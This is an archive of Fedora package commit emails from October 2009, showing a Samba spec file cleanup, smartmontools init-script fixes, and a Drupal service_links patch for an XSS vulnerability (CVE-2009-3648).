From: simo at fedoraproject.org (Simo Sorce)
Date: Fri,  9 Oct 2009 18:34:44 +0000 (UTC)
Subject: rpms/samba/devel samba.spec,1.198,1.199
Message-ID: <20091009183444.C793511C00C1@cvs1.fedora.phx.redhat.com>

Author: simo

Update of /cvs/pkgs/rpms/samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25098

Modified Files:
	samba.spec 
Log Message:
* Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
- Spec file cleanup
- Fix sources upstream location
- Remove conditionals to build talloc and tdb, now they are completely indepent
  packages in Fedora
- Add defattr() where missing
- Turn all tabs into 4 spaces
- Remove unused migration script
- Split winbind-clients out of main winbind package to avoid multilib to include
  huge packages for no good reason



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/samba.spec,v
retrieving revision 1.198
retrieving revision 1.199
diff -u -p -r1.198 -r1.199
--- samba.spec	9 Oct 2009 13:34:17 -0000	1.198
+++ samba.spec	9 Oct 2009 18:34:44 -0000	1.199
@@ -1,21 +1,18 @@
-%define main_release 46
+%define main_release 47
 %define samba_version 3.4.2
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
 %define pre_release %nil
 
-%define samba_release 0%{pre_release}.%{main_release}%{?dist}
-
-%define enable_talloc 0
-%define enable_tdb    0
+%define samba_release %{main_release}%{pre_release}%{?dist}
 
 %define samba_source source3
 Summary: Server and Client software to interoperate with Windows machines
 Name: samba
 Epoch: 0
 Version: %{samba_version}
-Release: %{samba_release}.1
+Release: %{samba_release}
 License: GPLv3+ and LGPLv3+
 Group: System Environment/Daemons
 URL: http://www.samba.org/
@@ -57,12 +54,7 @@ Requires(post): /sbin/chkconfig, /sbin/s
 Requires(preun): /sbin/chkconfig, /sbin/service
 BuildRequires: pam-devel, readline-devel, ncurses-devel, libacl-devel, krb5-devel, openldap-devel, openssl-devel, cups-devel, ctdb-devel
 BuildRequires: autoconf, gawk, popt-devel, gtk2-devel, libcap-devel, libuuid-devel
-%if ! %enable_talloc
-BuildRequires: libtalloc-devel >= %{talloc_version}
-%endif
-%if ! %enable_tdb
-BuildRequires: libtdb-devel >= %{tdb_version}
-%endif
+BuildRequires: libtalloc-devel, libtdb-devel
 
 # Working around perl dependency problem from docs
 %define __perl_requires %{SOURCE999}
@@ -85,7 +77,6 @@ need the NetBEUI (Microsoft Raw NetBIOS 
 Summary: Samba client programs
 Group: Applications/System
 Requires: samba-common = %{epoch}:%{samba_version}-%{release}
-Obsoletes: smbfs
 
 %description client
 The samba-client package provides some SMB/CIFS clients to complement
@@ -111,14 +102,24 @@ packages of Samba.
 Summary: Samba winbind
 Group: Applications/System
 Requires: samba-common = %{epoch}:%{samba_version}-%{release}
+Requires: samba-winbind-clients = %{epoch}:%{samba_version}-%{release}
 Requires(pre): /usr/sbin/groupadd
 Requires(post): /sbin/chkconfig, /sbin/service, coreutils
 Requires(preun): /sbin/chkconfig, /sbin/service
 
 %description winbind
-The samba-winbind package provides the winbind daemon, a NSS library, a PAM
-module and some client tools. Winbind enables Linux to be a full member in
-Windows domains and to use Windows user and group accounts on Linux.
+The samba-winbind package provides the winbind daemon and some client tools.
+Winbind enables Linux to be a full member in Windows domains and to use
+Windows user and group accounts on Linux.
+
+
+%package winbind-clients
+Summary: Samba winbind clients
+Group: Applications/System
+
+%description winbind-clients
+The samba-winbind-clients package provides the NSS library and a PAM
+module necessary to communicate to the Winbind Daemon
 
 
 %package winbind-devel
@@ -177,63 +178,6 @@ Requires: libsmbclient = %{epoch}:%{samb
 The libsmbclient-devel package contains the header files and libraries needed to
 develop programs that link against the SMB client library in the Samba suite.
 
-%if %enable_tdb
-%package -n libtdb
-Summary: The TDB library and tools
-Group: Applications/System
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-
-%description -n libtdb
-The TDB library from the Samba suite.
-
-
-%package -n tdb-tools
-Summary: The TDB tools
-Group: Applications/System
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-Requires: libtdb = %{epoch}:%{tdb_version}-%{main_release}%{?dist}
-
-%description -n tdb-tools
-Some TDB tools from the Samba suite.
-
-
-%package -n libtdb-devel
-Summary: Developer tools for the TDB library
-Group: Development
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-Requires: libtdb = %{epoch}:%{tdb_version}-%{main_release}%{?dist}
-
-%description -n libtdb-devel
-The libtdb-devel package contains the header files and libraries needed to
-develop programs that link against the TDB library in the Samba suite.
-%endif
-
-%if %enable_talloc
-%package -n libtalloc
-Summary: The talloc library
-Group: Applications/System
-Version: %{talloc_version}
-Release: %{main_release}%{?dist}
-
-%description -n libtalloc
-The talloc library from the Samba suite.
-
-
-%package -n libtalloc-devel
-Summary: Developer tools for the talloc library
-Group: Development
-Version: %{talloc_version}
-Release: %{main_release}%{?dist}
-Requires: libtalloc = %{epoch}:%{talloc_version}-%{main_release}%{?dist}
-
-%description -n libtalloc-devel
-The libtalloc-devel package contains the header files and libraries needed to
-develop programs that link against the talloc library in the Samba suite.
-%endif
-
 %prep
 # TAG: change for non-pre
 %setup -q -n %{name}-%{samba_version}%{pre_release}
@@ -282,48 +226,52 @@ RPM_OPT_FLAGS="$RPM_OPT_FLAGS -D_FILE_OF
 EXTRA="-D_LARGEFILE64_SOURCE"
 %endif
 CFLAGS="$RPM_OPT_FLAGS -D_GNU_SOURCE -DLDAP_DEPRECATED" %configure \
-	--with-dnsupdate \
-	--with-ads \
-	--with-acl-support \
-	--with-automount \
-	--with-dnsupdate \
-	--with-libsmbclient \
-	--with-libsmbsharemodes \
-	--with-mmap \
-	--with-pam \
-	--with-pam_smbpass \
-	--with-quotas \
-	--with-sendfile-support \
-	--with-syslog \
-	--with-utmp \
-	--with-vfs \
-	--with-winbind \
-	--without-smbwrapper \
-	--with-lockdir=/var/lib/samba \
-	--with-piddir=/var/run \
-	--with-mandir=%{_mandir} \
-	--with-privatedir=/var/lib/samba/private \
-	--with-logfilebase=/var/log/samba \
-	--with-libdir=%{_libdir} \
-	--with-modulesdir=%{_libdir}/samba \
-	--with-configdir=%{_sysconfdir}/samba \
-	--with-pammodulesdir=%{_lib}/security \
-	--with-swatdir=%{_datadir}/swat \
-	--with-shared-modules=idmap_ad,idmap_rid,idmap_adex,idmap_hash,idmap_tdb2 \
-	--with-cifsupcall \
-	--with-cluster-support
-#	--with-aio-support \
+    --with-dnsupdate \
+    --with-ads \
+    --with-acl-support \
+    --with-automount \
+    --with-dnsupdate \
+    --with-libsmbclient \
+    --with-libsmbsharemodes \
+    --with-mmap \
+    --with-pam \
+    --with-pam_smbpass \
+    --with-quotas \
+    --with-sendfile-support \
+    --with-syslog \
+    --with-utmp \
+    --with-vfs \
+    --with-winbind \
+    --without-smbwrapper \
+    --with-lockdir=/var/lib/samba \
+    --with-piddir=/var/run \
+    --with-mandir=%{_mandir} \
+    --with-privatedir=/var/lib/samba/private \
+    --with-logfilebase=/var/log/samba \
+    --with-libdir=%{_libdir} \
+    --with-modulesdir=%{_libdir}/samba \
+    --with-configdir=%{_sysconfdir}/samba \
+    --with-pammodulesdir=%{_lib}/security \
+    --with-swatdir=%{_datadir}/swat \
+    --with-shared-modules=idmap_ad,idmap_rid,idmap_adex,idmap_hash,idmap_tdb2 \
+    --with-cifsupcall \
+    --with-cluster-support \
+    --with-libtalloc=no \
+    --enable-external-libtalloc=yes \
+    --with-libtdb=no \
+#    --enable-external-libtdb=yes \
+#    --with-aio-support \
 
 
 make  pch
 
 make  LD_LIBRARY_PATH=$RPM_BUILD_DIR/%{name}-%{samba_version}%{pre_release}/%samba_source/bin \
-	%{?_smp_mflags} \
-	all ../nsswitch/libnss_wins.so modules test_pam_modules test_nss_modules test_shlibs
+    %{?_smp_mflags} \
+    all ../nsswitch/libnss_wins.so modules test_pam_modules test_nss_modules test_shlibs
 
 make  LD_LIBRARY_PATH=$RPM_BUILD_DIR/%{name}-%{samba_version}%{pre_release}/%samba_source/bin \
-	%{?_smp_mflags} \
-	-C lib/netapi/examples
+    %{?_smp_mflags} \
+    -C lib/netapi/examples
 
 make  debug2html smbfilter bin/cifs.upcall
 
@@ -350,22 +298,22 @@ mkdir -p $RPM_BUILD_ROOT/%{_libdir}/pkgc
 cd %samba_source
 
 %makeinstall \
-	BINDIR=$RPM_BUILD_ROOT%{_bindir} \
-	BASEDIR=$RPM_BUILD_ROOT%{_prefix} \
-	SBINDIR=$RPM_BUILD_ROOT%{_sbindir} \
-	DATADIR=$RPM_BUILD_ROOT%{_datadir} \
-	LOCKDIR=$RPM_BUILD_ROOT/var/lib/samba \
-	PRIVATEDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
-	LIBDIR=$RPM_BUILD_ROOT%{_libdir}/ \
-	MODULESDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
-	CONFIGDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
-	PAMMODULESDIR=$RPM_BUILD_ROOT/%{_lib}/security \
-	MANDIR=$RPM_BUILD_ROOT%{_mandir} \
-	VARDIR=$RPM_BUILD_ROOT/var/log/samba \
-	CODEPAGEDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
-	SWATDIR=$RPM_BUILD_ROOT%{_datadir}/swat \
-	SAMBABOOK=$RPM_BUILD_ROOT%{_datadir}/swat/using_samba \
-	PIDDIR=$RPM_BUILD_ROOT/var/run
+    BINDIR=$RPM_BUILD_ROOT%{_bindir} \
+    BASEDIR=$RPM_BUILD_ROOT%{_prefix} \
+    SBINDIR=$RPM_BUILD_ROOT%{_sbindir} \
+    DATADIR=$RPM_BUILD_ROOT%{_datadir} \
+    LOCKDIR=$RPM_BUILD_ROOT/var/lib/samba \
+    PRIVATEDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
+    LIBDIR=$RPM_BUILD_ROOT%{_libdir}/ \
+    MODULESDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
+    CONFIGDIR=$RPM_BUILD_ROOT%{_sysconfdir}/samba \
+    PAMMODULESDIR=$RPM_BUILD_ROOT/%{_lib}/security \
+    MANDIR=$RPM_BUILD_ROOT%{_mandir} \
+    VARDIR=$RPM_BUILD_ROOT/var/log/samba \
+    CODEPAGEDIR=$RPM_BUILD_ROOT%{_libdir}/samba \
+    SWATDIR=$RPM_BUILD_ROOT%{_datadir}/swat \
+    SAMBABOOK=$RPM_BUILD_ROOT%{_datadir}/swat/using_samba \
+    PIDDIR=$RPM_BUILD_ROOT/var/run
 
 cd ..
 
@@ -396,30 +344,12 @@ ln -sf /%{_lib}/libnss_wins.so.2  $RPM_B
 mkdir -p $RPM_BUILD_ROOT%{_libdir} $RPM_BUILD_ROOT%{_includedir}
 build_libdir="$RPM_BUILD_ROOT%{_libdir}"
 
-%if %enable_talloc
-# talloc
-cd lib/talloc
-# just to get the correct .pc file generated
-./autogen.sh && ./configure --prefix=%{_prefix} --libdir=%{_libdir}
-cd ../..
-install -m 644 lib/talloc/talloc.pc $build_libdir/pkgconfig/
-%endif
-
-%if %enable_tdb
-# tdb
-cd lib/tdb
-# just to get the correct .pc file generated
-./autogen.sh && ./configure --prefix=%{_prefix} --libdir=%{_libdir}
-cd ../..
-install -m 644 lib/tdb/tdb.pc $build_libdir/pkgconfig/
-%endif
-
 # make install puts libraries in the wrong place
 # (but at least gets the versioning right now)
 
 list="smbclient smbsharemodes netapi talloc tdb wbclient"
 for i in $list; do
-	install -m 644 %samba_source/pkgconfig/$i.pc $build_libdir/pkgconfig/ || true
+    install -m 644 %samba_source/pkgconfig/$i.pc $build_libdir/pkgconfig/ || true
 done
 
 
@@ -469,25 +399,21 @@ mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldb
 mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldbsearch.1 $RPM_BUILD_ROOT%{_mandir}/man1/ldb3search.1
 mv -f $RPM_BUILD_ROOT%{_mandir}/man1/ldbrename.1 $RPM_BUILD_ROOT%{_mandir}/man1/ldb3rename.1
 
-%if ! %enable_talloc
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so.*
-rm -f $RPM_BUILD_ROOT%{_includedir}/talloc.h
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so
-rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/talloc.pc
-%endif
-
-%if ! %enable_tdb
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so.*
-rm -f $RPM_BUILD_ROOT%{_includedir}/tdb.h
-rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so
-rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/tdb.pc
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so.*
+#rm -f $RPM_BUILD_ROOT%{_includedir}/talloc.h
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtalloc.so
+#rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/talloc.pc
+
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so.*
+#rm -f $RPM_BUILD_ROOT%{_includedir}/tdb.h
+#rm -f $RPM_BUILD_ROOT%{_libdir}/libtdb.so
+#rm -f $RPM_BUILD_ROOT%{_libdir}/pkgconfig/tdb.pc
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbbackup
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbdump
 rm -f $RPM_BUILD_ROOT%{_bindir}/tdbtool
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbbackup.8*
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbdump.8*
 rm -f $RPM_BUILD_ROOT%{_mandir}/man8/tdbtool.8*
-%endif
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -498,8 +424,8 @@ rm -rf $RPM_BUILD_ROOT
 /sbin/chkconfig --add smb
 /sbin/chkconfig --add nmb
 if [ "$1" -ge "1" ]; then
-	/sbin/service smb condrestart >/dev/null 2>&1 || :
-	/sbin/service nmb condrestart >/dev/null 2>&1 || :
+    /sbin/service smb condrestart >/dev/null 2>&1 || :
+    /sbin/service nmb condrestart >/dev/null 2>&1 || :
 fi
 exit 0
 
@@ -522,132 +448,12 @@ exit 0
 /sbin/chkconfig --add winbind
 
 if [ "$1" -ge "1" ]; then
-	/sbin/service winbind condrestart >/dev/null 2>&1 || :
+    /sbin/service winbind condrestart >/dev/null 2>&1 || :
 fi
 
 %post common
 /sbin/ldconfig
 
-###############################################################################
-## We have new default since F-8, time to stop checking for old files are there
-## should be none in any support upgrade case
-## (keeping it commented just for reference for a while
-## 
-## # This script must be run always on installs or upgrades
-## # it checks if a previous installation have created files
-## # under /var/cache/samba and move them in that case as the
-## # new package wants them to be under /var/lib/samba for
-## # FHS compliance
-## #
-## # - we must stop the dameon if running and restart it
-## #   after the script if it was
-## # - we do not overwrite newer files
-## # - even if /etc/init.d/smb is in samba and not
-## #   samba-common we need to stop smbd/nmbd, if they
-## #   are running, here as well, or we will mess up
-## #   shared (between winbindd and smbd/nmbd) tdbs
-## 
-## OLDPATH="/var/cache/samba"
-## NEWPATH="/var/lib/samba"
-## 
-## eval ls $OLDPATH/*.tdb >/dev/null 2>&1
-## if [ $? = 0 ]; then
-##     eval testparm -s 2>/dev/null |grep "lock dir" >/dev/null
-##     if [ $? = 0 ]; then 
-## 	echo "Warning: lock dir explicitly set. Not moving tdb files to new default location"
-##     else
-## 
-## 	#Stop daemons before we move the files around
-## 
-## 	#this is what condrestart checks as well
-## 	if [ -f /var/lock/subsys/winbindd ]; then
-## 		/sbin/service winbind stop >/dev/null 2>&1 || :
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/winbindd
-## 	fi
-## 
-## 	if [ -f /var/lock/subsys/smb ]; then
-## 		/sbin/service smb stop >/dev/null 2>&1 || :
-## 		# We need to stop smbd here as we are moving also smbd owned files
-## 		# but we can't restart it until the new server is installed.
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/smb
-## 	fi
-## 
-## 	if [ -f /var/lock/subsys/nmb ]; then
-## 		/sbin/service nmb stop >/dev/null 2>&1 || :
-## 		# We need to stop smbd here as we are moving also smbd owned files
-## 		# but we can't restart it until the new server is installed.
-## 		# Use a dirty trick to fool condrestart later
-## 		touch /var/lock/subsys/nmb
-## 	fi
-## 
-## 	eval ls $NEWPATH/*.tdb >/dev/null 2>&1
-## 	if [ $? = 0 ]; then
-## 		#something strange here, lets backup this stuff and avoid just wiping it
-## 
-## 		mkdir $NEWPATH.pkgbkp
-## 		mv -f $NEWPATH/*.tdb $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/*.dat $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/perfmon $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 		mv -f $NEWPATH/printing $NEWPATH.pkgbkp/ >/dev/null 2>&1
-## 	fi
-## 
-## 	mv -f $OLDPATH/*.tdb $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/*.dat $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/perfmon $NEWPATH/ >/dev/null 2>&1
-## 	mv -f $OLDPATH/printing $NEWPATH/ >/dev/null 2>&1
-## 
-##     fi
-## fi
-## 
-## # We also moved private files from /etc/samba to
-## # /var/lib/samba/private so we need to migrate these as well
-## 
-## #secrets.tdb
-## if [ -f %{_sysconfdir}/samba/secrets.tdb ]; then
-## 	eval testparm -s 2>/dev/null |grep "private dir" >/dev/null
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: private dir explicitly set. Not moving secrets.tdb to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/secrets.tdb ]; then
-## 			mv -f /var/lib/samba/private/secrets.tdb /var/lib/samba/private/secrets.tdb.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/secrets.tdb /var/lib/samba/private/secrets.tdb
-## 	fi
-## fi
-## 
-## #smbpasswd
-## if [ -f %{_sysconfdir}/samba/smbpasswd ]; then
-## 	eval testparm -s 2>/dev/null |grep "smb passwd file" >/dev/null
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: smbpasswd file location explicitly set. Not moving smbpasswd to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/smbpasswd ]; then
-## 			mv -f /var/lib/samba/private/smbpasswd /var/lib/samba/private/smbpasswd.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/smbpasswd /var/lib/samba/private/smbpasswd
-## 	fi
-## fi
-## 
-## #passdb.tdb
-## if [ -f %{_sysconfdir}/samba/passdb.tdb ]; then
-## 	eval testparm -s 2>/dev/null |grep "private dir" >/dev/null || testparm -s 2>/dev/null |grep -P "^\s*passdb\s*backend\s*=.*tdbsam:/etc/samba/passdb.tdb.*"
-## 	if [ $? = 0 ]; then
-## 		echo "Warning: passdb.tdb location explicitly set. Not moving passdb.tdb to new default location"
-## 	else
-## 		if [ -f /var/lib/samba/private/passdb.tdb ]; then
-## 			mv -f /var/lib/samba/private/passdb.tdb /var/lib/samba/private/passdb.tdb.old
-## 		fi
-## 		mv -f %{_sysconfdir}/samba/passdb.tdb /var/lib/samba/private/passdb.tdb
-## 	fi
-## fi
-## 
-## #remove schannel_store if existing, it is not info we need to keep across restarts
-## if [ -f %{_sysconfdir}/samba/schannel_store.tdb ]; then
-## 	rm -f %{_sysconfdir}/samba/schannel_store.tdb
-## fi
-## 
 %preun winbind
 if [ $1 = 0 ] ; then
     /sbin/service winbind stop >/dev/null 2>&1 || :
@@ -665,22 +471,6 @@ exit 0
 %postun -n libsmbclient
 /sbin/ldconfig
 
-%if %enable_tdb
-%post -n libtdb
-/sbin/ldconfig
-
-%postun -n libtdb
-/sbin/ldconfig
-%endif
-
-%if %enable_talloc
-%post -n libtalloc
-/sbin/ldconfig
-
-%postun -n libtalloc
-/sbin/ldconfig
-%endif
-
 %files
 %defattr(-,root,root)
 %{_sbindir}/smbd
@@ -753,8 +543,6 @@ exit 0
 %{_libdir}/samba/lowcase.dat
 %{_libdir}/samba/upcase.dat
 %{_libdir}/samba/valid.dat
-%{_libdir}/libnss_wins.so
-/%{_lib}/libnss_wins.so.2
 %{_libdir}/libnetapi.so
 %attr(755,root,root) %{_libdir}/libnetapi.so.*
 %{_includedir}/netapi.h
@@ -800,18 +588,15 @@ exit 0
 %{_mandir}/man8/pdbedit.8*
 %{_mandir}/man8/net.8*
 
-%doc README COPYING Manifest 
+%doc README COPYING Manifest
 %doc WHATSNEW.txt Roadmap
 
 %files winbind
+%defattr(-,root,root)
 %{_bindir}/ntlm_auth
 %{_bindir}/wbinfo
-%{_libdir}/libnss_winbind.so
-%attr(755,root,root) %{_libdir}/libwbclient.so.*
 %{_libdir}/samba/idmap
 %{_libdir}/samba/nss_info
-/%{_lib}/libnss_winbind.so.2
-/%{_lib}/security/pam_winbind.so
 %{_sbindir}/winbindd
 %dir /var/run/winbindd
 %attr(750,root,wbpriv) %dir /var/lib/samba/winbindd_privileged
@@ -825,21 +610,34 @@ exit 0
 %{_mandir}/man8/idmap_*.8*
 %{_datadir}/locale/*/LC_MESSAGES/pam_winbind.mo
 
+%files winbind-clients
+%defattr(-,root,root)
+%{_libdir}/libnss_winbind.so
+/%{_lib}/libnss_winbind.so.2
+%{_libdir}/libnss_wins.so
+/%{_lib}/libnss_wins.so.2
+/%{_lib}/security/pam_winbind.so
+%attr(755,root,root) %{_libdir}/libwbclient.so.*
+
 %files winbind-devel
+%defattr(-,root,root)
 %{_includedir}/wbclient.h
 %{_libdir}/libwbclient.so
 %{_libdir}/pkgconfig/wbclient.pc
 
 %files doc
+%defattr(-,root,root)
 %doc docs/Samba3-Developers-Guide.pdf docs/Samba3-ByExample.pdf
 %doc docs/Samba3-HOWTO.pdf
 %doc docs/htmldocs
 
 %files -n libsmbclient
+%defattr(-,root,root)
 %attr(755,root,root) %{_libdir}/libsmbclient.so.*
 %attr(755,root,root) %{_libdir}/libsmbsharemodes.so.*
 
 %files -n libsmbclient-devel
+%defattr(-,root,root)
 %{_includedir}/libsmbclient.h
 %{_includedir}/smb_share_modes.h
 %{_libdir}/libsmbclient.so
@@ -848,34 +646,6 @@ exit 0
 %{_libdir}/pkgconfig/smbsharemodes.pc
 %{_mandir}/man7/libsmbclient.7*
 
-%if %enable_talloc
-%files -n libtalloc
-%attr(755,root,root) %{_libdir}/libtalloc.so.*
-
-%files -n libtalloc-devel
-%{_includedir}/talloc.h
-%{_libdir}/libtalloc.so
-%{_libdir}/pkgconfig/talloc.pc
-%endif
-
-%if %enable_tdb
-%files -n libtdb
-%attr(755,root,root) %{_libdir}/libtdb.so.*
-
-%files -n libtdb-devel
-%{_includedir}/tdb.h
-%{_libdir}/libtdb.so
-%{_libdir}/pkgconfig/tdb.pc
-
-%files -n tdb-tools
-%{_bindir}/tdbbackup
-%{_bindir}/tdbdump
-%{_bindir}/tdbtool
-%{_mandir}/man8/tdbbackup.8*
-%{_mandir}/man8/tdbdump.8*
-%{_mandir}/man8/tdbtool.8*
-%endif
-
 %files domainjoin-gui
 %{_sbindir}/netdomjoin-gui
 %dir %{_datadir}/pixmaps/samba
@@ -884,6 +654,18 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
+- Spec file cleanup
+- Fix sources upstream location
+- Remove conditionals to build talloc and tdb, now they are completely indepent
+  packages in Fedora
+- Add defattr() where missing
+- Turn all tabs into 4 spaces
+- Remove unused migration script
+- Split winbind-clients out of main winbind package to avoid multilib to include
+  huge packages for no good reason
+
+
 * Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
 - Update to 3.4.2
 - Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906



From mhlavink at fedoraproject.org  Fri Oct  9 18:35:18 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:35:18 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartd.initd, 1.8, 1.9 smartmontools.spec, 
	1.62, 1.63
Message-ID: <20091009183519.0023211C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25249

Modified Files:
	smartd.initd smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
- fix init script for case when no action was specified



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartd.initd,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- smartd.initd	9 Oct 2009 09:05:48 -0000	1.8
+++ smartd.initd	9 Oct 2009 18:35:18 -0000	1.9
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ $1 = 'usage' ] && RETVAL=0
+		[ '$1' = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- smartmontools.spec	9 Oct 2009 09:05:48 -0000	1.62
+++ smartmontools.spec	9 Oct 2009 18:35:18 -0000	1.63
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	19%{?dist}
+Release: 	20%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
+- fix init script for case when no action was specified
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
 - make init script lsb compliant (#528016)
 



From mhlavink at fedoraproject.org  Fri Oct  9 18:37:22 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:37:22 +0000 (UTC)
Subject: rpms/smartmontools/F-11 smartd.initd, 1.8, 1.9 smartmontools.spec, 
	1.58, 1.59
Message-ID: <20091009183722.4D13211C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26187

Modified Files:
	smartd.initd smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-16
- fix init script for case when no action was specified



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartd.initd,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- smartd.initd	9 Oct 2009 09:11:47 -0000	1.8
+++ smartd.initd	9 Oct 2009 18:37:21 -0000	1.9
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ $1 = 'usage' ] && RETVAL=0
+		[ '$1' = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- smartmontools.spec	9 Oct 2009 09:11:47 -0000	1.58
+++ smartmontools.spec	9 Oct 2009 18:37:21 -0000	1.59
@@ -1,6 +1,6 @@
 Name: smartmontools
 Version: 5.38
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 Summary:       Tools for monitoring SMART capable hard disks
 Group:         System Environment/Base
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-16
+- fix init script for case when no action was specified
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-15
 - make init script lsb compliant (#528016)
 



From limb at fedoraproject.org  Fri Oct  9 18:40:30 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Fri,  9 Oct 2009 18:40:30 +0000 (UTC)
Subject: rpms/drupal-service_links/devel
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch, NONE,
	1.1 drupal-service_links.spec, 1.4, 1.5
Message-ID: <20091009184030.943A911C02A0@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/drupal-service_links/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27749

Modified Files:
	drupal-service_links.spec 
Added Files:
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch 
Log Message:
Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.


drupal-service_links-6.x-1.0-CVE-2009-3648.patch:
 service_links.module |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE drupal-service_links-6.x-1.0-CVE-2009-3648.patch ---
--- service_links.module~	2008-02-26 11:01:27.000000000 -0600
+++ service_links.module	2009-10-09 13:35:58.000000000 -0500
@@ -37,0 +38 @@
+  $names = array_map('filter_xss', node_get_types('names'));
@@ -42 +43 @@
-    '#options' => node_get_types('names'),
+    '#options' => $names,


Index: drupal-service_links.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drupal-service_links/devel/drupal-service_links.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
